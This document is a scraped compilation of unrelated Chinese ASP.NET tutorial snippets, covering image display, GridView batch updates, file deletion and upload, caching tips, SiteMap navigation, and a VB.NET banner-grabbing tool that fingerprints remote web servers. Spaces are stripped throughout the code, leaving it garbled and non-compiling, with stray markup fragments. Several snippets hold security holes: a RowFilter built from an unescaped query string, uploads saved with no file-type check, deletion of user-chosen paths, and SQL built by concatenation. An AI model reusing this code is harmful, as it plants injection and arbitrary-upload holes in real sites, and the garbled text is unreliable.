在sqlserver中的图片类型是image,然后,通过dataset保存到数据库中,通过showimg.aspx文件来读出图片,即显示图片,代码如下: DimimageAsByte()=IssueQuestionRow.QuestionImage'/转换为支持存储区为内存的流DimmemStreamAsNewSystem.IO.MemoryStream(image)'/定义并实例化Bitmap对象DimbmAsNewBitmap(memStream)'/根据不同的条件进行输出或者下载;Response.Clear()'/如果请求字符串指定下载,就下载该文件;'/否则,就显示在浏览器中。IfRequest.QueryString("Download")="1"ThenResponse.Buffer=TrueResponse.ContentType="application/octet-stream"'/这里下载输出的文件名字ok.jpg为例子,你实际中可以根据情况动态决定。Response.AddHeader("Content-Disposition","attachment;filename=ok.jpg")ElseResponse.ContentType="image/jpg"EndIfResponse.BinaryWrite(image)Response.End() 然后通过需要调用显示图片的页面,加入 <img src=”./showimg.aspx”wigth=”100px”height=”50”> 来固定图片的显示位置、大小等。当然也可以通过一个页面的不同参数来获得不同的图片,如下代码: Showimg.aspx文件:PublicQuestionIDAsStringPublicChapterIDAsStringPrivateSubPage_Load(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesMyBase.Load'在此处放置初始化页的用户代码IfNotIsPostBackThenQuestionID=Request.QueryString("QID")ChapterID=Request.QueryString("ChapterID")Exercise=EXH.GetExercise(ChapterID)DimdvAsNewDataView(Exercise.Ex_IssueQuestion)dv.RowFilter="QuestionID='"+QuestionID+"'"Ifdv.Count>0ThenIssueQuestionRow=dv.Item(0).RowDimimageAsByte()=IssueQuestionRow.QuestionImage'/转换为支持存储区为内存的流DimmemStreamAsNewSystem.IO.MemoryStream(image)'/定义并实例化Bitmap对象DimbmAsNewBitmap(memStream)'/根据不同的条件进行输出或者下载;Response.BinaryWrite(image)EndIfEndIfEndSub 在其他需要调用的地方的aspx页面里只需写: <img src=”./showimg.aspx?QuestionID=222&ChapterID=3”wigth=”100px”height=”50”>
在asp.net2.0中,gridview控件是十分不错的控件。有的时候,可能一个GRIDVIEW控件中的各行都是文本框,如何一次性更新所有修改过的记录呢?有两种方法,一种是使用sqldatasource来更新所有记录,但这个方法比较慢,因为每更新一条记录都要建立数据连接并执行updatecommand,会影响性能,但还是先来看下实现方法: <%@PageLanguage="C#"%><scriptrunat="server">voidButton1_Click(objectsender,EventArgse){for(inti=0;i<GridView1.Rows.Count;i++){GridViewRowrow=GridView1.Rows[i];SqlDataSource1.UpdateParameters[0].DefaultValue=((TextBox)row.Cells[0].FindControl("TextBox2")).Text;SqlDataSource1.UpdateParameters[1].DefaultValue=((TextBox)row.Cells[1].FindControl("TextBox3")).Text;SqlDataSource1.UpdateParameters[2].DefaultValue=GridView1.DataKeys[i].Value.ToString();SqlDataSource1.Update();}}</script><htmlxmlns="<headrunat="server"><title>UntitledPage</title></head><body><formid="form1"runat="server"><div><asp:GridViewID="GridView1"Runat="server"DataSourceID="SqlDataSource1"DataKeyNames="CustomerID" AutoGenerateColumns="False"><Columns><asp:TemplateFieldSortExpression="CustomerID"HeaderText="CustomerID"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("CustomerID")%>'ID="TextBox1"></asp:TextBox></ItemTemplate></asp:TemplateField><asp:TemplateFieldSortExpression="CompanyName"HeaderText="CompanyName"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("CompanyName")%>'ID="TextBox2"></asp:TextBox></ItemTemplate></asp:TemplateField><asp:TemplateFieldSortExpression="ContactName"HeaderText="ContactTitle"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("ContactTitle")%>'ID="TextBox3"></asp:TextBox></ItemTemplate></asp:TemplateField></Columns></asp:GridView><asp:SqlDataSourceID="SqlDataSource1"Runat="server"SelectCommand="SELECT[CustomerID],[CompanyName],[ContactName],[ContactTitle]FROM[Customers]"UpdateCommand="UPDATE[Customers]SET[CompanyName]=@CompanyName,[ContactTitle]=@ContactTitleWHERE[CustomerID]=@CustomerID"ConnectionString="<%$ConnectionStrings:AppConnectionString1%>"><UpdateParameters><asp:ParameterType="String"Name="CompanyName"></asp:Parameter><asp:ParameterType="String"Name="ContactTitle"></asp:Parameter><asp:ParameterType="String"Name="CustomerID"></asp:Parameter></UpdateParameters></asp:SqlDataSource><asp:ButtonID="Button1"Runat="server"Text="Button"OnClick="Button1_Click"/>&nbsp;</div></form></body></html> 另外一个方法是用组合SQL语句来进行的,速度比较快,原理也容易明白 <%@PageLanguage="C#"%><%@ImportNamespace="System.Text"%><%@ImportNamespace="System.Data.SqlClient"%><scriptrunat="server">voidButton1_Click(objectsender,EventArgse){StringBuilderquery=newStringBuilder();for(inti=0;i<GridView1.Rows.Count;i++){GridViewRowrow=GridView1.Rows[i];stringvalue1=((TextBox)row.Cells[0].FindControl("TextBox2")).Text.Replace("'","''");stringvalue2=((TextBox)row.Cells[1].FindControl("TextBox3")).Text.Replace("'","''");stringvalue3=GridView1.DataKeys[i].Value.ToString();query.Append("UPDATE[Customers]SET[CompanyName]='").Append(value1).Append("',[ContactTitle]='").Append(value2).Append("'WHERE[CustomerID]='").Append(value3).Append("';/n");}SqlConnectioncon=newSqlConnection(ConfigurationSettings.ConnectionStrings["AppConnectionString1"].ConnectionString);SqlCommandcommand=newSqlCommand(query.ToString(),con);con.Open();command.ExecuteNonQuery();con.Close();}voidPage_Load(objectsender,EventArgse){if(!Page.IsPostBack){SqlConnectioncon=newSqlConnection(ConfigurationSettings.ConnectionStrings["AppConnectionString1"].ConnectionString);SqlCommandcommand=newSqlCommand("SELECT[CustomerID],[CompanyName],[ContactName],[ContactTitle]FROM[Customers]",con);con.Open();GridView1.DataSource=command.ExecuteReader();GridView1.DataBind();con.Close();}}</script><htmlxmlns="http://www.w3.org/1999/xhtml"><headrunat="server"><title>UntitledPage</title></head><body><formid="form1"runat="server"><div><asp:GridViewID="GridView1"Runat="server"DataKeyNames="CustomerID"AutoGenerateColumns="False"><Columns><asp:TemplateFieldSortExpression="CustomerID"HeaderText="CustomerID"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("CustomerID")%>'ID="TextBox1"></asp:TextBox></ItemTemplate></asp:TemplateField><asp:TemplateFieldSortExpression="CompanyName"HeaderText="CompanyName"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("CompanyName")%>'ID="TextBox2"></asp:TextBox></ItemTemplate></asp:TemplateField><asp:TemplateFieldSortExpression="ContactName"HeaderText="ContactTitle"><ItemTemplate><asp:TextBoxRunat="server"Text='<%#Bind("ContactTitle")%>'ID="TextBox3"></asp:TextBox></ItemTemplate></asp:TemplateField></Columns></asp:GridView><asp:ButtonID="Button1"Runat="server"Text="Button"OnClick="Button1_Click"/>&nbsp;</div></form></body></html>
对于不再需要的文件/文件夹用户有权限做删除处理。这一节就介绍如何实现这一功能。 界面布置 主界面设计中有个“删除”按钮,其(ID)为btnDelete。用户在目录浏览中选中要删除的项后,单击该按钮就可以完成删除工作。 代码实现 在“设计”面板中双击“删除”按钮,为其添加事件处理程序如下: privatevoidBtnDelete_Click(objectsender,System.EventArgse){ DeleteThings(FileList.SelectedItem.Text);} privatevoidDeleteThings(stringFullPath){ if(FullPath.IndexOf(".")&gt;0)//删除文件 {File.Delete(FullPath);LoadDir(CurrentPath);//重新载入当前目录 } else//删除目录 {Directory.Delete(FullPath);LoadDir(CurrentPath);//重新载入当前目录 }} 删除时首先判断选中的是文件还是文件夹。如果是文件,则调用File.Delete()方法;反之则调用Directory.Delete()方法。删除成功后再调用LoadDir()方法显示更改后的目录内容。
所用用到的命名空间:System.IO我们所要创建的文件需要asp.net用户有一定的权限才可以! usingSystem;usingSystem.Collections;usingSystem.ComponentModel;usingSystem.Data;usingSystem.Drawing;usingSystem.Web;usingSystem.Web.SessionState;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingSystem.Web.UI.HtmlControls;usingSystem.Text;usingSystem.IO;namespacenew_app{///<summary>///myxml的摘要说明。///</summary>publicclassmyxml:System.Web.UI.Page{privateconststringFILE_NAME="d://MyFile.txt";privatevoidPage_Load(objectsender,System.EventArgse){//在此处放置用户代码以初始化页面write_file(FILE_NAME);} //一个创建文件的方法、并在文件里输入内容publicvoidwrite_file(stringFILE_NAME){if(File.Exists(FILE_NAME)){Console.WriteLine("{0}alreadyexists.",FILE_NAME);return;}StreamWritersr=File.CreateText(FILE_NAME);sr.WriteLine("这是我的第一个程序.");sr.WriteLine("byzixian2005");sr.Close();} #regionWeb窗体设计器生成的代码overrideprotectedvoidOnInit(EventArgse){////CODEGEN:该调用是ASP.NETWeb窗体设计器所必需的。//InitializeComponent();base.OnInit(e);} ///<summary>///设计器支持所需的方法-不要使用代码编辑器修改///此方法的内容。///</summary>privatevoidInitializeComponent(){this.Load+=newSystem.EventHandler(this.Page_Load);}#endregion}}
一、性能参数:1、吞吐量2、响应时间3、执行时间4、可伸缩性 二、性能因素:1、ASPX执行环境2、编写代码逻辑 三、提高性能的方法:1、避免不必要的操作.例如:在Page_Load中使用IsPostBack;2、尽量减少使用服务器端控件3、关闭不必要的页面Session和控件的ViewState<%@PageEnableSessionState=”false”%>4、禁用VB和JSP动态类型<%@PageLanguage=”VB”Strict=”true”%>5、使用存储过程6、使用DateReader代替DataSet7、关闭ASP.Net的Debug模式8、使用ASP.Net的OutputCache缓冲<%@OutputCacheDuration=60VaryByParam=”None”%><%@OutputCacheDuration=60VaryByParam=”TextBox1,TextBox2”%>说明:Duration是设置Cache的过期时间;VarByParam是设置是否根据参数而变化,None时所有参数使用同一Cache,设置TextBox1时则根据TextBox1的不同值分别缓存;当有多个参数时则要组合缓存;9、不要使用Exception控制程序流程try {result=100/num;}catch(Exceptione) {result=0;} if(num!=0)result=100/num;elseresult=0; 四、缓冲分类:1页面缓冲:根据VarByParam来进行不同的缓冲处理。2片段缓冲:在页面控件中使用页面缓冲,当一个页面里多次使用同一个页面控件时,需要根据VarByControl来进行不同的缓冲处理。3数据缓冲:Cache(范围是和Application一样,所有用户)Cache.Insert(“MyData”,Source,null,newCacheDependency(Server.MapPath(“authors.xml”)));Cache.Insert(“MyData”,Source,null,DateTime.Now.AddHours(1),TimeSpan.Zero);Cache.Insert(“MyData”,Source,null,DateTime.MaxValue,TimeSpan.FromMinutes(20)); ="MAILTO:%@PAGE">="MAILTO:%@PAGE">
//检查上传文件不为空if(File1.PostedFile!=null){stringnam=File1.PostedFile.FileName;//取得文件名(抱括路径)里最后一个"."的索引inti=nam.LastIndexOf(".");//取得文件扩展名stringnewext=nam.Substring(i);//这里我自动根据日期和文件大小不同为文件命名,确保文件名不重复DateTimenow=DateTime.Now;stringnewname=now.DayOfYear.ToString()+File1.PostedFile.ContentLength.ToString();//保存文件到你所要的目录,这里是IIS根目录下的upload目录.你可以改变.//注意:我这里用Server.MapPath()取当前文件的绝对目录.在asp.net里""必须用""代替File1.PostedFile.SaveAs(Server.MapPath("upload"+newname+newext)); this.HyperLink1.NavigateUrl="upload"+newname+newext; //得到这个文件的相关属性:文件名,文件类型,文件大小//fname.Text=File1.PostedFile.FileName;//fenc.Text=File1.PostedFile.ContentType;//fsize.Text=File1.PostedFile.ContentLength.ToString();}
这几天做ASP.Net追捕,也算是我入门吧。思路很简单,主要就是识别远程主机传回的Banner,判断远程主机服务器。这可能不够准确,因为合格的管理员可能会去修改Banner。 代码如下(从我的Web追捕里找出来的,用VB.Net) DimswWriterAsStreamWriter'用以向网络基础数据流传送数据DimnsStreamAsNetworkStream'创建发送数据的网络基础数据流DimtcpClient2AsTcpClient'通过它实现向远程主机提出TCP连接申请DimsHostNameAsStringDimsrReadAsStreamReader'从网络基础数据流中读取数据'HTTP服务追捕IfTcpConnect(ZSIP,80)="CG"ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:未知"Try'tcpClient=NewTcpClient(IPAddress,Port)tcpClient2=NewTcpClient(ZSIP.ToString(),80)tcpClient2.ReceiveTimeout=1000000tcpClient2.SendTimeout=1000000'对远程主机的8000端口提出TCP连接申请nsStream=tcpClient2.GetStream()'通过申请,并获取传送数据的网络基础数据流swWriter=NewStreamWriter(nsStream)swWriter.WriteLine("Get/index.htmHTTP/1.1")swWriter.WriteLine("Host:"&IP.Text)swWriter.WriteLine("Accept:*/*")swWriter.WriteLine("Referer:")swWriter.WriteLine()'刷新当前数据流中的数据swWriter.Flush()srRead=NewStreamReader(nsStream,Encoding.Default)'以得到的网络基础数据流来初始化StreamReader实例DimLAsInteger=0DoWhileNotsrRead.Peek=-1AndL<20StrHttp=StrHttp&srRead.ReadLine()L=L+1LoopIfInStr(StrHttp,"IIS")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:IIS版本未知"SystemFW="WindowsNT/2000/XP/2003"EndIfIfInStr(StrHttp,"Apache")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache版本未知"EndIfIfInStr(StrHttp,"Netscape-Enterprise")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Netscape-Enterprise版本未知"EndIfIfInStr(StrHttp,"Microsoft-IIS/5.0")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:IIS5.0"SystemFW="Windows2000"EndIfIfInStr(StrHttp,"Microsoft-IIS/5.1")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:IIS5.1"SystemFW="Windows2000/XP"EndIfIfInStr(StrHttp,"Microsoft-IIS/6.0")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:IIS6.0"SystemFW="Windows2003"EndIfIfInStr(StrHttp,"Apache/2")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache2.x"EndIfIfInStr(StrHttp,"Apache/2.0.54")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache2.0.54"EndIfIfInStr(StrHttp,"Apache/2.0.52")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache2.0.52"EndIfIfInStr(StrHttp,"Apache/2.1.6")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache2.1.6"EndIfIfInStr(StrHttp,"Apache/1.3.2")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.x"EndIfIfInStr(StrHttp,"Apache/1.3.20")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.20"EndIfIfInStr(StrHttp,"Apache/1.3.23")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.23"EndIfIfInStr(StrHttp,"Apache/1.3.26")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.26"EndIfIfInStr(StrHttp,"Apache/1.3.27")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.27"EndIfIfInStr(StrHttp,"Apache/1.3.33")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Apache1.3.33"EndIfIfInStr(StrHttp,"Netscape-Enterprise/4.1")>0ThenOppHTTP.Text="HTTP服务已开启!服务软件类型:Netscape-Enterprise4.1"EndIfIfInStr(StrHttp,"Unix")>0ThenSystemFW="类Unix/Linux系统"EndIfCatchEndTry
ASP.NET2.0中的SqlConnection多了一个StatisticsEnabled属性和ResetStatistics()、RetrieveStatistics()两个方法,用于获取SQLServer的连接统计数据。 <%@ImportNamespace="System.Data"%><%@ImportNamespace="System.Data.SqlClient"%><%@pagelanguage="C#"%><scriptrunat="server">voidPage_Load(objectsender,EventArgse){stringconnString="Northwind的连接串";SqlConnectionconn=newSqlConnection(connString);conn.StatisticsEnabled=true;conn.ResetStatistics();conn.Open();SqlCommandcmd=newSqlCommand("SELECT*FROMOrders",conn);SqlDataReaderreader=cmd.ExecuteReader();reader.Close();conn.Close(); Hashtableht=(Hashtable)conn.RetrieveStatistics();foreach(stringkeyinht.Keys){Label1.Text+="Key:"+key+"="+ht[key]+"<BR/>";}}</script><html><headid="Head1"runat="server"><title>UntitledPage</title></head><body><formid="Form1"runat="server"autocomplete="on"><asp:LabelID="Label1"Runat="server"Text=""></asp:Label></form></body></html> 运行后的结果就是SQLServer连接统计数据结果: Key:NetworkServerTime=0Key:BytesReceived=156913Key:UnpreparedExecs=1Key:SumResultSets=1Key:SelectCount=1Key:PreparedExecs=0Key:ConnectionTime=30Key:ExecutionTime=30Key:Prepares=0Key:BuffersSent=1Key:SelectRows=830Key:ServerRoundtrips=1Key:CursorOpens=0Key:Transactions=0Key:BytesSent=48Key:BuffersReceived=20Key:IduRows=0Key:IduCount=0
几乎每个网站里,为了方便用户在网站中进行页面导航,都少不了使用页面导航控件。有了页面导航的功能,用户可以很方便地在一个复杂的网站中进行页面之间的跳转。在以往的WEB编程中,要写一个好的页面导航功能,并不是那么容易的,也要使用一些技巧。而在asp.net2.0中,为了方便进行页面导航,新增了一个叫做页面导航控件sitemapdatasource,其中还可以绑定到不同的其他页面控件,比如treeview,menu等,十分灵活,使到能很方便地实现页面导航的不同形式,而且还提供了运行时的编程接口,可以以编程的形式动态实现页面导航控件。本文将简单以几个例子来介绍一下在asp.net2.0中如何实现页面导航。 页面导航的结构和sitemapdatasource控件 在asp.net2.0中,要实现页面导航,应该先以xml的形式,提供出整个网站的页面结构层次。我们可以编写一个叫web.sitemap的XML文本文件,在该文件中定义出整个要导航页面的结构层次。举例如下: <?xmlversion="1.0"encoding="utf-8"?> <siteMap> <siteMapNodetitle="Default"description="Home"url="Default.aspx"> <siteMapNodetitle="Members"description="Members"url="Members.aspx"> <siteMapNodetitle="MyAccount"description="MyAccount"url="MyAccount.aspx"/> <siteMapNodetitle="Products"description="Products"url="Products.aspx"/> </siteMapNode> <siteMapNodetitle="Administration"description="Administration"url="~/Admin/Default.aspx"> <siteMapNodetitle="Customer"description="CustomerAdmin"url="~/Admin/Customer/default.aspx"/> <siteMapNodetitle="ProductsAdmin"description="ProductsAdmin"url="~/Admin/ProductsAdmin.aspx"/> </siteMapNode> </siteMapNode> </siteMap> 我们可以看到,其中,web.sitemap文件必须包含根结点sitemap。而且,设置一个父sitemapnode结点,该结点表明是默认的站点首页,在该父sitemapnode结点下,可以有若干个子sitemapnode结点,分别按层次结构代表了网站的各子栏目(留意一下上例中,各个子结点之间的包含关系)。而每一个sitemapnode结点中,有如下若干个属性: 1)URL属性:该属性指出要导航的栏目的地址链接,在web.sitemap中定义中,必须是每个栏目的相对地址。 2)Title属性:该属性指出每个子栏目的名称,显示在页面中。 3)Description属性:该属性指定时,则用户在鼠标移动到该栏目时,出现有关该栏目的相关提示,类似于tooltips属性。 在设计好sitemap属性后,接下来就可以一步步构建页面导航功能了,主要有两个步骤: 1)向页面中添加sitemapdatasource控件。该控件会自动感应绑定web.sitemap中的内容。 2)将sitemapdatasource控件绑定到如sitemappath,treeview,menu等控件中,也就是说,将它们的数据源设置为该sitemapdatasource控件。 知道了方法后,我们下面就分别以treeview,menu,sitemappath三种控件为例子,介绍一下如何和sitemapdatasource控件进行配合使用。 先来介绍使用treeview控件和sitemapdatasource控件配合使用的方法。Treeview树形列表控件十分适合于用来做页面导航,为了能具体说明,我们充分利用asp.net中的masterpage控件,先搭建出一个网站的基本框架架构。 在visualwebdeveloper2005beta1中,新建一个网站,之后添加上文的web.sitemap文件,再添加一个名叫Navigation的master类型的页面,代码如下: <%@MasterLanguage="C#"%> <htmlxmlns="www.w3.org/1999/xhtml"> <headid="Head1"runat="server"> <title>MasterPage</title> </head> <body> <formid="form1"runat="server"> <div> <tablestyle="width:100%;height:100%"border="1"> <tr> <tdstyle="width:10%"> <asp:TreeViewID="TreeView1"Runat="server"DataSourceID="SiteMapDataSource1" ExpandDepth="2"ShowExpandCollapse="False"NodeIndent="10"> <LevelStyles> <asp:TreeNodeStyleFont-Bold="True"Font-Underline="False"/> <asp:TreeNodeStyleFont-Italic="True"Font-Underline="False"/> <asp:TreeNodeStyleFont-Size="X-Small"ImageUrl="bullet.gif"Font-Underline="False"/> </LevelStyles> <NodeStyleChildNodesPadding="10"/> </asp:TreeView> </td> <tdstyle="width:100px"> <asp:contentplaceholderid="ContentPlaceHolder1" runat="server"> </asp:contentplaceholder> </td> </tr> </table> <asp:SiteMapDataSourceID="SiteMapDataSource1"Runat="server"/> </div> </form> </body> </html> 在上面的代码中,其中的TREEVIEW控件中的DATASORUCE属性中,就指定了sitemapdatasource控件,并且在treeview控件中,也定义了不同结点的样式。 在完成了masterpage页面后,就等于已经把网站的模版页建立起来了,接下来就可以新建其他子页面,以继承masterpage页面,并且新建各自页面的内容了。比如,新建一个default.aspx页面,代码如下: <%@PageLanguage="C#"MasterPageFile="Navigation.master"Title="DefaultPage"%> <asp:ContentContentPlaceHolderID="ContentPlaceHolder1" ID="Content1"Runat="Server"> Thisisthedefaultpage </asp:Content> 可以看到,当建立了模版页后,就可以新建其他的子页面了,只需要在其中的contentplaceholderid中写入不同的内容就可以了。 接下来,我们来介绍如何将menu菜单控件和sitemapdatasource控件配合使用。其中,我们在上面的例子的基础上,在<tablestyle="width:100%;height:100%"border="1">下面增加如下代码就可以了 <trheight="100px"> <tdcolspan="2"align="left"> <asp:MenuID="Menu1"Runat="Server" DataSourceID="SiteMapDataSource1"> </asp:Menu> </td> </tr> 其中,我们增加了一个menu控件,其中将其datasourceid属性设定为sitemapdatasource1就可以了,运行如下图,当然,我们可以改变menu控件的显示位置,如可以将其改成垂直样式显示。 而对于我们经常见到的显示出页面当前路径的导航条功能,在asp.net2.0中也可以轻易实现,我们可以使用其中的sitemappath控件。我们紧接着在上文代码中的menu控件下,增加如下代码: <trheight="100px"> <tdcolspan="2"align="left"> CurrentlySelectedPageis: <asp:SiteMapPathRunat="Server"ID="SiteMapPath1"></asp:SiteMapPath> </td></tr>要注意的是,只要增加sitemappath控件就可以了,因为它会自动和已经增加的sitemapdatasource控件进行绑定的。我们为了说明问题,另外增加一个页面member.aspx,代码如下: <%@PageLanguage="C#"MasterPageFile="Navigation.master"Title="MembersPage"%><asp:ContentContentPlaceHolderID="ContentPlaceHolder1"ID="Content1"Runat="Server">Thisisthememberspage </asp:Content> 最后,我们看一下,如何通过编程的方式来获取页面导航中的相关数据。其中,必须引用到的是sitemap类,该类提供了很多相关的方法和属性,最重要的是currentnode属性,它可以指出当前用户正在浏览的是哪一个栏目页面,这用来跟踪用户在网站中的行动轨迹,并进行站点数据统计,有时是很有用的,举例如下: <%@PageLanguage="C#"MasterPageFile="Navigation.master"Title="MembersPage""%><scriptrunat="Server"> voidPage_Load(objectsender,EventArgse){ Response.Write("Thecurrentlyselectedrootnodeis:"+SiteMap.CurrentNode.Description+"<br>"); Response.Write("TheParentforthecurrentlyselectednodeis:"+ SiteMap.CurrentNode.ParentNode.Description); } </script> <asp:ContentContentPlaceHolderID="ContentPlaceHolder1"ID="Content1"Runat="Server"> Thisisthememberspage </asp:Content> 在这个例子中,使用程序的方式,得出了用户当前正在浏览的栏目页面,以及该栏目的父栏目的名称。